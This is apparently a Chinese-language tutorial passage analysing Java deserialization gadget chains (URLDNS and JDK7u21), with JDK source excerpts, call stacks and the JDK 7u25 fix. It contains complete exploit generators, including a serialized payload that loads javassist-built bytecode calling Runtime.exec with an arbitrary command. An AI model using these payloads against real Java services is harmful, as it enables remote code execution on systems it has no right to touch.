1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 protected int hashCode (URL u) { InetAddress addr = getHostAddress(u); } protected synchronized InetAddress getHostAddress (URL u) { if (u.hostAddress != null ) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("" )) { return null ; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null ; } catch (SecurityException se) { return null ; } } return u.hostAddress; }
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class URLDNS { public static Object getObject (String url) throws Exception { URL urlObject = new URL (url); HashMap hashMap = new HashMap (); setFieldValue(urlObject, "hashCode" , 0xdeadbeef ); hashMap.put(urlObject, "sky123" ); setFieldValue(urlObject, "hashCode" , -1 ); return hashMap; } public static byte [] getPayload(String url) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(url)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("http://www.example.com" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
为了避免在往 HashMap 中放置 urlObject 的时候触发哈希方法调用,导致触发 DNS 请求影响观察,我们需要先设置给 urlObject 的 hashCode 属性设置一个不为 -1 的值。
1 2 3 setFieldValue(urlObject, "hashCode" , 0xdeadbeef ); hashMap.put(urlObject, "sky123" ); setFieldValue(urlObject, "hashCode" , -1 );
JDK7u21 原理分析 调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:136) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:339) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:376) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:601) at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197) at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59) at com.sun.proxy.$Proxy1.equals(Unknown Source:-1) at java.util.HashMap.put(HashMap.java:475) at java.util.HashSet.readObject(HashSet.java:309)
AnnotationInvocationHandler 类中的 equalsImpl 方法在参数 Object o 不是 AnnotationInvocationHandler 的实现类代理的对象时,会获取其成员 type 中的所有方法,然后依次调用 o 中的这些方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 private AnnotationInvocationHandler asOneOfUs (Object o) { if (Proxy.isProxyClass(o.getClass())) { InvocationHandler handler = Proxy.getInvocationHandler(o); if (handler instanceof AnnotationInvocationHandler) return (AnnotationInvocationHandler) handler; } return null ; } private Method[] getMemberMethods() { if (memberMethods == null ) { memberMethods = AccessController.doPrivileged( new PrivilegedAction <Method[]>() { public Method[] run() { final Method[] mm = type.getDeclaredMethods(); validateAnnotationMethods(mm); AccessibleObject.setAccessible(mm, true ); return mm; } }); } return memberMethods; } private Boolean equalsImpl (Object o) { if (o == this ) return true ; if (!type.isInstance(o)) return false ; for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); Object hisValue = null ; AnnotationInvocationHandler hisHandler = asOneOfUs(o); if (hisHandler != null ) { hisValue = hisHandler.memberValues.get(member); } else { try { hisValue = memberMethod.invoke(o); } catch (InvocationTargetException e) { return false ; } catch (IllegalAccessException e) { throw new AssertionError (e); } } if (!memberValueEquals(ourValue, hisValue)) return false ; } return true ; }
因此我们不难想到如果构造一个 AnnotationInvocationHandler 使得其 type 为 Templates.class 然后将 TemplatesImpl 对象传入便会调用它的 getOutputProperties 方法实现恶意字节码加载。
1 2 3 4 5 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { this .type = type; this .memberValues = memberValues; }
type 需要设置为 Templates.class 而不是具体的 TemplatesImpl.class。
这是因为 Templates 作为接口只定义了 newTransformer 和 getOutputProperties 方法:
1 2 3 4 5 6 public interface Templates { Transformer newTransformer () throws TransformerConfigurationException; Properties getOutputProperties () ; }
因此 Templates.class.getDeclaredMethods() 返回的方法中第一个方法只能是 newTransformer 或 getOutputProperties,这两个方法都能触发 TemplatesImpl 的任意字节码加载的利用链。
而 TemplatesImpl.class 返回的第一个方法大概率不能触发 TemplatesImpl 的任意字节码加载的利用链,而是报错导致 equalsImpl 函数提前返回,无法完成利用。
1 2 3 4 5 6 7 8 9 10 try { hisValue = memberMethod.invoke(o); } catch (InvocationTargetException e) { return false ; } catch (IllegalAccessException e) { throw new AssertionError (e); }
而 equalsImpl 方法可以通过 AnnotationInvocationHandler#invoke 方法调用。也就是说如果我们使用 AnnotationInvocationHandler#invoke 代理一个类,然后调用这个类的 equals 方法就可以触发 AnnotationInvocationHandler#equalsImpl 方法调用,且传入的参数是 equals 的参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if ("equals" .equals(member) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) { return equalsImpl(args[0 ]); } }
HashSet 内部实际上是通过 HashMap 来实现的,我们存入 HashSet 中的数据实际上是存入内部成员 private transient HashMap<E,Object> map; 的键中,而对应的值设为一个 Object 类型的对象来占位。因此在 HashSet#readObject 函数中我们会把 HashSet 存储的元素逐个加到 HashMap 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this ) instanceof LinkedHashSet) ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor); int size = s.readInt(); for (int i = 0 ; i < size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
在 HashMap 中会计算哈希值找到对应的桶然后逐个比较去重,最后放到 HashMap 中。这里涉及到了 equals 方法的调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 final int hash (Object k) { int h = 0 ; h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); } public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
因此如果我们:
在 HashSet 中放一个 TemplatesImpl 对象再放一个 AnnotationInvocationHandler 代理的对象( AnnotationInvocationHandler 代理的对象是后加入,这里为了保证顺序可以使用 LinkedHashSet 代替 HashSet);
并且恰巧这两个对象的哈希值相等 ;
那么调用 equals 方法就会触发前面介绍的利用链。
所以现在的问题是如何构造一个 AnnotationInvocationHandler 代理的对象使得其哈希值与 TemplatesImpl 对象相等。
由于 TemplatesImpl 没有显式实现 hashCode() 方法,因此它将继承自 java.lang.Object 类中的默认实现。在这种情况下,调用 hashCode() 方法返回的是该对象的内存地址经过哈希计算后得到的一个整数值。也就是说这个哈希值我们不可控制。
但是我们可以想办法构造一个 AnnotationInvocationHandler 代理的对象使得它的哈希值总是与 TemplatesImpl 对象的哈希值相等。
AnnotationInvocationHandler 代理的对象 的 hashCode 方法实际上调用的是 AnnotationInvocationHandler#invoke 进而会调用到 AnnotationInvocationHandler#hashCodeImpl。
这个方法会遍历 memberValues 这个 Map 中的每个 key 和 value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。因此我们只要让 value 为同一个 TemplatesImpl 且 key 的哈希值为 0 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private int hashCodeImpl () { int result = 0 ; for (Map.Entry<String, Object> e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()); } return result; } private static int memberValueHashCode (Object value) { Class<?> type = value.getClass(); if (!type.isArray()) return value.hashCode(); }
网上通常的做法是枚举十六进制数字对应的字符串,最终得到 f5a5a608 这个字符串。但实际上根据字符串的哈希计算方式很容易就构造出 \0 这一字符串。
1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode () { int h = hash; if (h == 0 && value.length > 0 ) { char val[] = value; for (int i = 0 ; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.*;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import sun.misc.BASE64Decoder;public class JDK7u21 { public static Object getObject (String cmd) throws Exception { Templates templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{getEvilClass(cmd)}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map map = new HashMap (); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map); Serializable proxy = (Serializable) Proxy.newProxyInstance(Serializable.class.getClassLoader(), new Class []{Serializable.class}, handler); HashSet set = new LinkedHashSet (); set.add(templates); set.add(proxy); map.put("\0" , templates); System.out.println(proxy.hashCode()); System.out.println(templates.hashCode()); return set; } public static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); CtConstructor clinit = ctClass.makeClassInitializer(); clinit.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); ctClass.getClassFile().setMajorVersion(49 ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
由于 JDK 版本较低,生成恶意类的 javassist 库需要选择一个低版本的。,否则会因为 JAR 包中类的 Java 版本过高报错。
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.18.2-GA</version > </dependency >
修复情况 JDK 7u25(1.7.0_25) 引入的加固补丁 (OpenJDK 变更集 0ca6cbe3f350 ,问题编号 8001309 “Better handling of annotation interfaces” ):从 7u25 起,AnnotationInvocationHandler.readObject 在遇到非注解类型时会抛出 InvalidObjectException。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @@ -1,5 +1,5 @@ /* - * Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2003, 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it @@ -337,12 +337,15 @@ try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { - // Class is no longer an annotation type; all bets are off - return; + // Class is no longer an annotation type; time to punch out + throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); + + // If there are annotation members without values, that + // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name);
这导致我们设置 AnnotationInvocationHandler#type 为 javax.xml.transform.Templates.class 这一步失效。